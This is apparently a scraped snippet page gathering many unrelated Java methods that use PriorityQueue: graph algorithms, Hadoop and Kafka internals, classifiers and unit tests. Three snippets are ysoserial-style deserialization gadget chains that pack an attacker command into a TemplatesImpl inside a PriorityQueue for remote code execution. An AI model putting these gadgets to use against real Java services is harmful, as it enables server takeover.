Java 类java.util.PriorityQueue 实例源码

public static void main(String[] args){
    Scanner sc = new Scanner(System.in);
    while (sc.hasNext()){
        int n = sc.nextInt();
        int minPower = 0;
        Queue<Integer> queue = new PriorityQueue<>();

        for(int i=0; i<n; i++){
            queue.add(sc.nextInt());
        }

        int first = 0, second = 0, temp = 0;
        while (queue.size() > 1){
            first = queue.poll();
            second = queue.poll();
            temp = first + second;
            queue.add(temp);

            minPower += temp;
        }
        System.out.println(minPower);
    }
}

public static List<Geometry> split(Geometry given, double maxArea, Predicate<Geometry> predicate) {
    List<Geometry> others = newArrayList();
    PriorityQueue<Geometry> queue = new PriorityQueue<>(comparing(Geometry::getArea).reversed());
    queue.add(given);

    while (queue.peek().getEnvelope().getArea() > maxArea) {
        Geometry current = queue.poll();
        Point centroid = current.getCentroid();
        Geometry bbox = current.getEnvelope();
        checkState(bbox.getCoordinates().length == 5);
        for (int i = 0; i < 4; i++) {
            Geometry intersection = current.intersection(box(centroid, bbox.getCoordinates()[i]));
            if (!intersection.isEmpty()) {
                if (predicate.test(intersection)) {
                    others.add(intersection);
                }
                else {
                    queue.add(intersection);
                }
            }
        }
    }

    return ImmutableList.<Geometry> builder().addAll(newArrayList(queue)).addAll(others).build();
}

@Override
@SuppressWarnings("unchecked")
public void forEachRemaining(Consumer<? super E> action) {
    Objects.requireNonNull(action);
    PriorityQueue<E> q = pq;
    if (fence < 0) { fence = getSize(q); expectedModCount = getModCount(q); }
    Object[] a = getQueue(q);
    int i, hi; E e;
    for (i = index, index = hi = fence; i < hi; i++) {
        if ((e = (E) a[i]) == null) {
            break;      // must be CME
        }
        action.accept(e);
    }
    if (getModCount(q) != expectedModCount) {
        throw new ConcurrentModificationException();
    }
}

/**
 * 
 * @param distances
 * @return
 */
private PriorityQueue<Node> createPriorityQueue(final Map<Node, Integer> distances) {
    return new PriorityQueue<Node>(
            distances.size(),
            new Comparator<Node>() {

                public int compare(Node o1, Node o2) {
                    int d1 = distances.get(o1);
                    int d2 = distances.get(o2);

                    if (d1 < d2) {
                        return -1;
                    }
                    if (d1 == d2) {
                        return 0;
                    }
                    return 1;
                }

                @Override
                public boolean equals(Object obj) {
                    return this == obj;
                }
            });
}

public static void main(String[] args) {
    final Comparator<String> firstChar = new Comparator<>() {
        public int compare(String x, String y) {
            return x.charAt(0) - y.charAt(0); }};

    test(new PriorityQueue<String>(firstChar));
    test(new PriorityQueue<String>(10, firstChar));
    test(new PriorityBlockingQueue<String>(10, firstChar));
    test(new ArrayBlockingQueue<String>(10));
    test(new LinkedBlockingQueue<String>(10));
    test(new LinkedBlockingDeque<String>(10));
    test(new LinkedTransferQueue<String>());
    test(new ArrayDeque<String>(10));

    System.out.printf("%nPassed = %d, failed = %d%n%n", passed, failed);
    if (failed > 0) throw new Error("Some tests failed");
}

public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {

    final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
    // mock method name until armed
    final BeanComparator comparator = new BeanComparator("lowestSetBit");

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));

    // switch method called by comparator
    Reflections.setFieldValue(comparator, "property", "outputProperties");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = templates;

    return queue;
}

private void dijkstra(GraphAdjacencyListRepresentation graph) {
    dist[S] = 0;
    PriorityQueue<VerticePriority> pq = new PriorityQueue<>();
    pq.add(new VerticePriority(S, dist[S]));
    int u;
    List<Integer> adjVertices, adjWeight;
    while (!pq.isEmpty()) {
        u = pq.poll().vertice;
        int v, w;
        adjVertices = graph.getAdjNode(u);
        adjWeight = graph.getAdjWeight(u);
        for (int i = 0; i < adjVertices.size(); i++) {
            v = adjVertices.get(i);
            w = adjWeight.get(i);
            // relax the edge
            if ((dist[v] == -1) || (dist[v] > dist[u] + w)) {
                dist[v] = dist[u] + w;
                prev[v] = u;
                pq.add(new VerticePriority(v, dist[v]));
            }
        }
    }
}

public static List<Classifier.Recognition> getBestResults(float[] confidenceLevels, String[] labels) {
    // Find the best classifications.
    PriorityQueue<Classifier.Recognition> pq = new PriorityQueue<>(MAX_BEST_RESULTS,
            new Comparator<Classifier.Recognition>() {
                @Override
                public int compare(Classifier.Recognition lhs, Classifier.Recognition rhs) {
                    // Intentionally reversed to put high confidence at the head of the queue.
                    return Float.compare(rhs.getConfidence(), lhs.getConfidence());
                }
            });

    for (int i = 0; i < confidenceLevels.length; ++i) {
        if (confidenceLevels[i] > RESULT_CONFIDENCE_THRESHOLD) {
            pq.add(new Classifier.Recognition("" + i, labels[i], confidenceLevels[i]));
        }
    }

    ArrayList<Classifier.Recognition> recognitions = new ArrayList<Classifier.Recognition>();
    int recognitionsSize = Math.min(pq.size(), MAX_BEST_RESULTS);
    for (int i = 0; i < recognitionsSize; ++i) {
        recognitions.add(pq.poll());
    }
    return recognitions;
}

private void insertMoves() {
  SpillMoveSet spillMoves =
      new SpillMoveSet(this, code, numberOfArgumentRegisters + NUMBER_OF_SENTINEL_REGISTERS);
  for (LiveIntervals intervals : liveIntervals) {
    if (intervals.hasSplits()) {
      LiveIntervals current = intervals;
      PriorityQueue<LiveIntervals> sortedChildren =
          new PriorityQueue<>((o1, o2) -> Integer.compare(o1.getStart(), o2.getStart()));
      sortedChildren.addAll(current.getSplitChildren());
      for (LiveIntervals split = sortedChildren.poll();
          split != null;
          split = sortedChildren.poll()) {
        int position = split.getStart();
        spillMoves.addSpillOrRestoreMove(toGapPosition(position), split, current);
        current = split;
      }
    }
  }

  resolveControlFlow(spillMoves);
  firstParallelMoveTemporary = maxRegisterNumber + 1;
  maxRegisterNumber += spillMoves.scheduleAndInsertMoves(maxRegisterNumber + 1);
}

@VisibleForTesting
LightWeightCache(final int recommendedLength,
    final int sizeLimit,
    final long creationExpirationPeriod,
    final long accessExpirationPeriod,
    final Clock clock) {
  super(updateRecommendedLength(recommendedLength, sizeLimit));

  this.sizeLimit = sizeLimit;

  if (creationExpirationPeriod <= 0) {
    throw new IllegalArgumentException("creationExpirationPeriod = "
        + creationExpirationPeriod + " <= 0");
  }
  this.creationExpirationPeriod = creationExpirationPeriod;

  if (accessExpirationPeriod < 0) {
    throw new IllegalArgumentException("accessExpirationPeriod = "
        + accessExpirationPeriod + " < 0");
  }
  this.accessExpirationPeriod = accessExpirationPeriod;

  this.queue = new PriorityQueue<Entry>(
      sizeLimit > 0? sizeLimit + 1: 1 << 10, expirationTimeComparator);
  this.clock = clock;
}

protected void initializeAttributes() throws AlgorithmExecutionException {
    this.numColumns = this.columnNames.size();

    this.attributeId2attributeObject = new Int2ObjectOpenHashMap<Attribute>(this.numColumns);
    this.attributeObjectQueue = new PriorityQueue<Attribute>(this.numColumns);

    for (int table = 0; table < this.tableNames.length; table++) {
        int firstAttribute = this.tableColumnStartIndexes[table];
        int lastAttribute = (table == this.tableNames.length - 1) ? this.numColumns : this.tableColumnStartIndexes[table + 1];

        for (int attribute = firstAttribute; attribute < lastAttribute; attribute++) {
            Attribute spiderAttribute;
            if (this.databaseConnectionGenerator != null)
                spiderAttribute = new Attribute(attribute, this.columnTypes, this.databaseConnectionGenerator, this.inputRowLimit, this.dao, this.tableNames[table], this.columnNames.get(attribute), this.tempFolder);
            else
                spiderAttribute = new Attribute(attribute, this.columnTypes, this.fileInputGenerator[table], this.inputRowLimit, attribute - firstAttribute, this.tempFolder, this.maxMemoryUsage, this.memoryCheckFrequency);
            this.attributeId2attributeObject.put(attribute, spiderAttribute);

            if (!spiderAttribute.hasFinished())
                this.attributeObjectQueue.add(spiderAttribute);
        }
    }
}

/**
 * In this function, we get a bunch of streams from all of our JournalManager
 * objects.  Then we add these to the collection one by one.
 * 
 * @param streams          The collection to add the streams to.  It may or 
 *                         may not be sorted-- this is up to the caller.
 * @param fromTxId         The transaction ID to start looking for streams at
 * @param inProgressOk     Should we consider unfinalized streams?
 */
@Override
public void selectInputStreams(Collection<EditLogInputStream> streams,
    long fromTxId, boolean inProgressOk) throws IOException {
  final PriorityQueue<EditLogInputStream> allStreams = 
      new PriorityQueue<EditLogInputStream>(64,
          EDIT_LOG_INPUT_STREAM_COMPARATOR);
  for (JournalAndStream jas : journals) {
    if (jas.isDisabled()) {
      LOG.info("Skipping jas " + jas + " since it's disabled");
      continue;
    }
    try {
      jas.getManager().selectInputStreams(allStreams, fromTxId, inProgressOk);
    } catch (IOException ioe) {
      LOG.warn("Unable to determine input streams from " + jas.getManager() +
          ". Skipping.", ioe);
    }
  }
  chainAndMakeRedundantStreams(streams, allStreams, fromTxId);
}

@Override
public void processElement(AisMessage message, Context context, Collector<AisMessage> out)
    throws Exception {

  TimerService timerService = context.timerService();

  PriorityQueue<AisMessage> queue = queueState.value();
  if (queue == null) {
    queue =
        new PriorityQueue<>(MAX_NUMBER_OF_QUEUED_ELEMENTS + 1, new PositionMessagesComparator());
  }
  long timestamp = System.currentTimeMillis();
  if (context.timestamp() > timerService.currentWatermark()) {
    queue.add(message);
    queueState.update(queue);
    // register a timer to be fired when the watermark passes this message timestamp
    timerService.registerEventTimeTimer(timestamp);
  } else {
    // logger.info("out of order message: " + message.toString());
    // throw new Exception(timerService.currentWatermark() + "out of order message: "
    // + message.toString());
    queue.add(message);
    queueState.update(queue);

  }
}

public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

public QCustomer peekCustomerByOffice(QOffice office) {
    //QLog.l().logQUser().debug("peekCustomerByOffice: " + office);

    //  CM:  Get a list of all customers wanting this service.
    PriorityQueue<QCustomer> customers = getCustomers();
    QCustomer customer = null;

    //  CM:  Loop through all customers to see if they are in the office input.   
    for (Iterator<QCustomer> itr = customers.iterator(); itr.hasNext(); ) {
        final QCustomer cust = itr.next();
        //  QLog.l().logQUser().debug("Polling customer: " + cust);
        // QLog.l().logQUser().debug("  Office: " + cust.getOffice());
        // QLog.l().logQUser().debug(" Service: " + cust.getService().name);
        if (cust.getOffice().equals(office)) {
            customer = cust;
            break;
        }
    }

    return customer;
}

public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

UnsafeRowsMerger(
        final RecordComparator recordComparator,
        final PrefixComparator prefixComparator,
        final int numSpills) {

    final Comparator<UnsafeSorterIterator> comparator = new Comparator<UnsafeSorterIterator>() {
        @Override
        public int compare(UnsafeSorterIterator left, UnsafeSorterIterator right) {
            final int prefixComparisonResult = prefixComparator.compare(left.getKeyPrefix(), right.getKeyPrefix());
            if (prefixComparisonResult == 0) {
                return recordComparator.compare(
                        left.getBaseObject(), left.getBaseOffset(),
                        right.getBaseObject(), right.getBaseOffset());
            } else {
                return prefixComparisonResult;
            }
        }
    };

    /**
     * 使用优先级队列实现多个Spill File 合并排序,并且支持已经排序内存记录
     * 重新写入一个排序文件中。
     */
    priorityQueue = new PriorityQueue<UnsafeSorterIterator>(numSpills,comparator);
}

UnsafeSorterSpillMerger(
    final RecordComparator recordComparator,
    final PrefixComparator prefixComparator,
    final int numSpills) {

  final Comparator<UnsafeSorterIterator> comparator = new Comparator<UnsafeSorterIterator>() {
    @Override
    public int compare(UnsafeSorterIterator left, UnsafeSorterIterator right) {
      final int prefixComparisonResult = prefixComparator.compare(left.getKeyPrefix(), right.getKeyPrefix());
      if (prefixComparisonResult == 0) {
        return recordComparator.compare(
          left.getBaseObject(), left.getBaseOffset(),
          right.getBaseObject(), right.getBaseOffset());
      } else {
        return prefixComparisonResult;
      }
    }
  };

    /**
     * 使用优先级队列实现多个Spill File 合并排序,并且支持已经排序内存记录
     * 重新写入一个排序文件中。
     */
  priorityQueue = new PriorityQueue<UnsafeSorterIterator>(numSpills,comparator);
}

public static String[] getBestResults(float[] confidenceLevels, String[] labels) {
    // Find the best classifications.
    PriorityQueue<Pair<String, Float>> pq = new PriorityQueue<>(3,
            new Comparator<Pair<String, Float>>() {
                @Override
                public int compare(Pair<String, Float> lhs, Pair<String, Float> rhs) {
                    // Intentionally reversed to put high confidence at the head of the queue.
                    return Float.compare(rhs.second, lhs.second);
                }
            });
    for (int i = 0; i < confidenceLevels.length; ++i) {
        if (confidenceLevels[i] > RESULT_CONFIDENCE_THRESHOLD) {
            pq.add(Pair.create(labels[i], confidenceLevels[i]));
        }
    }

    int recognitionsSize = Math.min(pq.size(), MAX_BEST_RESULTS);
    String[] recognitions = new String[recognitionsSize];
    for (int i = 0; i < recognitionsSize; ++i) {
        recognitions[i] = pq.poll().first;
    }
    return recognitions;
}

private void CalculateBaseLine() {
    _baseLine = 0f;
    PriorityQueue<Float> IntensityQueue = new PriorityQueue<>();
    for (XYData point : SmoothData.Data) {
        IntensityQueue.add(point.getY());
    }

    if (IntensityQueue.size() > 10) {
        for (int i = 0; i < IntensityQueue.size() / 10; i++) {
            _baseLine += IntensityQueue.poll();
        }
        _baseLine /= (IntensityQueue.size() / 10);
    } else {
        _baseLine = IntensityQueue.poll();
    }
}

PartitionGroup(final Map<TopicPartition, RecordQueue> partitionQueues) {
    queuesByTime = new PriorityQueue<>(partitionQueues.size(), new Comparator<RecordQueue>() {

        @Override
        public int compare(final RecordQueue queue1, final RecordQueue queue2) {
            final long time1 = queue1.timestamp();
            final long time2 = queue2.timestamp();

            if (time1 < time2) {
                return -1;
            }
            if (time1 > time2) {
                return 1;
            }
            return 0;
        }
    });

    this.partitionQueues = partitionQueues;

    totalBuffered = 0;
}

public static List<Classifier.Recognition> getBestResults(float[] confidenceLevels, String[] labels) {
    // Find the best classifications.
    PriorityQueue<Classifier.Recognition> pq = new PriorityQueue<>(MAX_BEST_RESULTS,
            new Comparator<Classifier.Recognition>() {
                @Override
                public int compare(Classifier.Recognition lhs, Classifier.Recognition rhs) {
                    // Intentionally reversed to put high confidence at the head of the queue.
                    return Float.compare(rhs.getConfidence(), lhs.getConfidence());
                }
            });

    for (int i = 0; i < confidenceLevels.length; ++i) {
        if (confidenceLevels[i] > RESULT_CONFIDENCE_THRESHOLD) {
            pq.add(new Classifier.Recognition("" + i, labels[i], confidenceLevels[i]));
        }
    }

    ArrayList<Classifier.Recognition> recognitions = new ArrayList<Classifier.Recognition>();
    int recognitionsSize = Math.min(pq.size(), MAX_BEST_RESULTS);
    for (int i = 0; i < recognitionsSize; ++i) {
        recognitions.add(pq.poll());
    }
    return recognitions;
}

public static void main(String[] args) 
{
   // queue of capacity 11
   PriorityQueue<Double> queue = new PriorityQueue<>();

   // insert elements to queue
   queue.offer(3.2);
   queue.offer(9.8);
   queue.offer(5.4);

   System.out.print("Polling from queue: ");

   // display elements in queue
   while (queue.size() > 0)
   {
      System.out.printf("%.1f ", queue.peek()); // view top element
      queue.poll(); // remove top element
   } 
}

/** {@inheritDoc} */
public boolean next(K key, V value) throws IOException {
  if (jc.flush(ivalue)) {
    WritableUtils.cloneInto(key, jc.key());
    WritableUtils.cloneInto(value, emit(ivalue));
    return true;
  }
  jc.clear();
  K iterkey = createKey();
  final PriorityQueue<ComposableRecordReader<K,?>> q = getRecordReaderQueue();
  while (!q.isEmpty()) {
    fillJoinCollector(iterkey);
    jc.reset(iterkey);
    if (jc.flush(ivalue)) {
      WritableUtils.cloneInto(key, jc.key());
      WritableUtils.cloneInto(value, emit(ivalue));
      return true;
    }
    jc.clear();
  }
  return false;
}

/**
 * Construct the UrlManager.
 * @param context An instance of android.content.Context
 */
@VisibleForTesting
public UrlManager(Context context) {
    mContext = context;
    mNotificationManager = new NotificationManagerProxyImpl(
            (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE));
    mPwsClient = new PwsClientImpl(context);
    mObservers = new ObserverList<Listener>();
    mNearbyUrls = new HashSet<>();
    mUrlInfoMap = new HashMap<>();
    mPwsResultMap = new HashMap<>();
    mUrlsSortedByTimestamp = new PriorityQueue<String>(1, new Comparator<String>() {
        @Override
        public int compare(String url1, String url2) {
            Long scanTimestamp1 = Long.valueOf(mUrlInfoMap.get(url1).getScanTimestamp());
            Long scanTimestamp2 = Long.valueOf(mUrlInfoMap.get(url2).getScanTimestamp());
            return scanTimestamp1.compareTo(scanTimestamp2);
        }
    });
    initSharedPreferences();
    registerNativeInitStartupCallback();
}

/**
 * remove(x) removes x and returns true if present
 */
public void testRemoveElement() {
    PriorityQueue q = populatedQueue(SIZE);
    for (int i = 1; i < SIZE; i += 2) {
        assertTrue(q.contains(i));
        assertTrue(q.remove(i));
        assertFalse(q.contains(i));
        assertTrue(q.contains(i - 1));
    }
    for (int i = 0; i < SIZE; i += 2) {
        assertTrue(q.contains(i));
        assertTrue(q.remove(i));
        assertFalse(q.contains(i));
        assertFalse(q.remove(i + 1));
        assertFalse(q.contains(i + 1));
    }
    assertTrue(q.isEmpty());
}

public MergingIterator(Iterable<? extends Iterator<? extends T>> iterators,
    final Comparator<? super T> itemComparator) {
  // A comparator that's used by the heap, allowing the heap
  // to be sorted based on the top of each iterator.
  Comparator<PeekingIterator<T>> heapComparator =
      new Comparator<PeekingIterator<T>>() {
        @Override
        public int compare(PeekingIterator<T> o1, PeekingIterator<T> o2) {
          return itemComparator.compare(o1.peek(), o2.peek());
        }
      };

  queue = new PriorityQueue<PeekingIterator<T>>(2, heapComparator);

  for (Iterator<? extends T> iterator : iterators) {
    if (iterator.hasNext()) {
      queue.add(Iterators.peekingIterator(iterator));
    }
  }
}

RowTracker() {
  nextRows =
      new PriorityQueue<Pair<byte[], Pair<byte[], byte[]>>>(fuzzyKeysData.size(),
          new Comparator<Pair<byte[], Pair<byte[], byte[]>>>() {
            @Override
            public int compare(Pair<byte[], Pair<byte[], byte[]>> o1,
                Pair<byte[], Pair<byte[], byte[]>> o2) {
              return isReversed()? Bytes.compareTo(o2.getFirst(), o1.getFirst()):
                Bytes.compareTo(o1.getFirst(), o2.getFirst());
            }
          });
}

default PriorityQueue<UDiEdge> getGraphBySortedEdges(int[][] graphMatrix) {
    PriorityQueue<UDiEdge> graph = new PriorityQueue<>(graphMatrix.length, Comparator.comparing(UDiEdge::getWeight));
    for (int row = 0; row < graphMatrix.length; row++) {
        for (int col = row + 1; col < graphMatrix.length; col++) {
            if (graphMatrix[row][col] > 0)
                graph.add(new UDiEdge(graphMatrix[row][col], row, col));
        }
    }
    return graph;
}

@Override
public void init(int[][] graphMatrix) {
    // init the mini heap
    heap = new PriorityQueue<>(graphMatrix.length, Comparator.comparing(UDiEdge::getWeight));
    this.graphMatrix = graphMatrix;
    len = graphMatrix.length; // pre-calc the vertices number for convenience
    visited = new boolean[len]; // init the visited array
    graphAdj = this.getGraphByAdjacentList(graphMatrix); // init the adjacent edges for each vertex, implemented in MST interface
}

private static EditLogInputStream getJournalInputStream(JournalManager jm,
    long txId, boolean inProgressOk) throws IOException {
  final PriorityQueue<EditLogInputStream> allStreams = 
      new PriorityQueue<EditLogInputStream>(64,
          JournalSet.EDIT_LOG_INPUT_STREAM_COMPARATOR);
  jm.selectInputStreams(allStreams, txId, inProgressOk);
  EditLogInputStream elis = null, ret;
  try {
    while ((elis = allStreams.poll()) != null) {
      if (elis.getFirstTxId() > txId) {
        break;
      }
      if (elis.getLastTxId() < txId) {
        elis.close();
        continue;
      }
      elis.skipUntil(txId);
      ret = elis;
      elis = null;
      return ret;
    }
  } finally {
    IOUtils.cleanup(LOG,  allStreams.toArray(new EditLogInputStream[0]));
    IOUtils.cleanup(LOG,  elis);
  }
  return null;
}

/**
 * Get the broker Id that has the resource. Here we need to apply the proper placement policy.
 *
 * @param brokerQueue  the list of brokers that are sorted in resource usage
 * @param oosReplica  out of sync replicas
 * @return a BrokerId to KafkaBroker mapping
 */
public Map<Integer, KafkaBroker> getAlternativeBrokers(PriorityQueue<KafkaBroker> brokerQueue,
                                                        OutOfSyncReplica oosReplica) {
  TopicPartition topicPartition = oosReplica.topicPartition;
  double inBoundReq = ReplicaStatsManager.getMaxBytesIn(zkUrl, topicPartition);
  double outBoundReq = ReplicaStatsManager.getMaxBytesOut(zkUrl, topicPartition);
  int preferredBroker = oosReplica.replicaBrokers.get(0);

  boolean success = true;
  Map<Integer, KafkaBroker> result = new HashMap<>();
  for (int oosBrokerId : oosReplica.outOfSyncBrokers) {
    List<KafkaBroker> unusableBrokers = new ArrayList<>();
    // we will get the broker with the least network usage
    KafkaBroker leastUsedBroker = brokerQueue.poll();
    while (leastUsedBroker != null && oosReplica.replicaBrokers.contains(leastUsedBroker.id())) {
      unusableBrokers.add(leastUsedBroker);
      leastUsedBroker = brokerQueue.poll();
    }
    if (leastUsedBroker == null) {
      LOG.error("Failed to find a usable broker for fixing {}:{}", oosReplica, oosBrokerId);
      success = false;
    } else {
      LOG.info("LeastUsedBroker for replacing {} : {}", oosBrokerId, leastUsedBroker.id());
      success &= leastUsedBroker.reserveInBoundBandwidth(topicPartition, inBoundReq);
      if (preferredBroker == oosBrokerId) {
        success &= leastUsedBroker.reserveOutBoundBandwidth(topicPartition, outBoundReq);
      }
      if (success) {
        result.put(oosBrokerId, leastUsedBroker);
      } else {
        LOG.error("Failed to allocate resource to replace {}:{}", oosReplica, oosBrokerId);
        success = false;
      }
    }
    unusableBrokers.stream().forEach(broker -> brokerQueue.add(broker));
    brokerQueue.add(leastUsedBroker);
  }
  return success ? result : null;
}

/**
 * iterator iterates through all elements
 */
public void testIterator() {
    PriorityQueue q = populatedQueue(SIZE);
    Iterator it = q.iterator();
    int i;
    for (i = 0; it.hasNext(); i++)
        assertTrue(q.contains(it.next()));
    assertEquals(i, SIZE);
    assertIteratorExhausted(it);
}

public static void main(String args[]) {
    // 和 Comparable 的对比
    Comparator<PriorityQueueDemo> OrderIsdn = new Comparator<PriorityQueueDemo>() {
        public int compare(PriorityQueueDemo o1, PriorityQueueDemo o2) {
            // TODO Auto-generated method stub
            int numbera = o1.getPopulation();
            int numberb = o2.getPopulation();
            if (numberb > numbera) {
                return 1;
            } else if (numberb < numbera) {
                return -1;
            } else {
                return 0;
            }

        }

    };
    Queue<PriorityQueueDemo> priorityQueue = new PriorityQueue<PriorityQueueDemo>(11, OrderIsdn);

    PriorityQueueDemo t1 = new PriorityQueueDemo("t1", 1);
    PriorityQueueDemo t3 = new PriorityQueueDemo("t3", 3);
    PriorityQueueDemo t2 = new PriorityQueueDemo("t2", 2);
    PriorityQueueDemo t4 = new PriorityQueueDemo("t4", 0);
    priorityQueue.add(t1);
    priorityQueue.add(t3);
    priorityQueue.add(t2);
    priorityQueue.add(t4);
    System.out.println(priorityQueue.poll().toString());
}

public int getCountCustomersByOffice(QOffice office) {
    PriorityQueue<QCustomer> customers = getCustomers();
    int count = 0;

    for (Iterator<QCustomer> itr = customers.iterator(); itr.hasNext(); ) {
        final QCustomer c = itr.next();
        if (c.getOffice().equals(office)) {
            count += 1;
        }
    }

    return count;
}

/**
 * This method will build a new future buffer with new order indices. As the total number of indices is
 * 2^32 this method probably will never be called.
 */
private void rebuildOrderIndices() {
    Queue<SimEvent> tmp = future;
    future = new PriorityQueue<SimEvent>(DEFAULT_INITIAL_CAPACITY, new SimEventComparator());
    order = Integer.MIN_VALUE;
    while (tmp.size() > 0) {
        addToFuture(tmp.remove());
    }
}

public static boolean solve(Cell start, Cell goal, Heuristic heuristic, CellComparator comp ){
    if (heuristic == null || comp == null | goal == null || start == null) return false;
    Astar.goal = goal;
    HashSet<Integer> visited = new HashSet<>();
    PriorityQueue<Cell> frontier = new PriorityQueue<>(comp);
    visited.add(start.id());
    frontier.add(start);
    start.setAsStartNode();
    Cell curr;
    while( (curr = frontier.poll()) != null ){
        // Handles edges
        if( curr.isEdge() ){
            if(visited.contains(curr.firstedge().id()))
                continue;
            curr.firstedge().movedFrom(curr, curr.heuristicCost());
            curr = curr.firstedge();
            visited.add(curr.id());
            if( curr.id() == goal.id() )
                return true;
        }
        // Adds new states
        for( Cell next : curr.edges() )
            if( !visited.contains(next.id()) ){
                next.movedFrom(curr, heuristic.calc(next, goal));
                visited.add(next.id());
                frontier.add(next);
            }
    }
    return false;
}

public ServerScheduler() {
    this.pending = new ConcurrentLinkedQueue<>();
    this.currentTaskId = new AtomicInteger();
    this.queue = new PriorityQueue<>(11, (left, right) -> {
        int i = left.getNextRunTick() - right.getNextRunTick();
        if (i == 0) {
            return left.getTaskId() - right.getTaskId();
        }
        return i;
    });
    this.taskMap = new ConcurrentHashMap<>();
    this.asyncPool = new AsyncPool(Server.getInstance(), WORKERS);
}

/**
 * toString contains toStrings of elements
 */
public void testToString() {
    PriorityQueue q = populatedQueue(SIZE);
    String s = q.toString();
    for (int i = 0; i < SIZE; ++i) {
        assertTrue(s.contains(String.valueOf(i)));
    }
}

/**
 * offer(null) throws NPE
 */
public void testOfferNull() {
    PriorityQueue q = new PriorityQueue(1);
    try {
        q.offer(null);
        shouldThrow();
    } catch (NullPointerException success) {}
}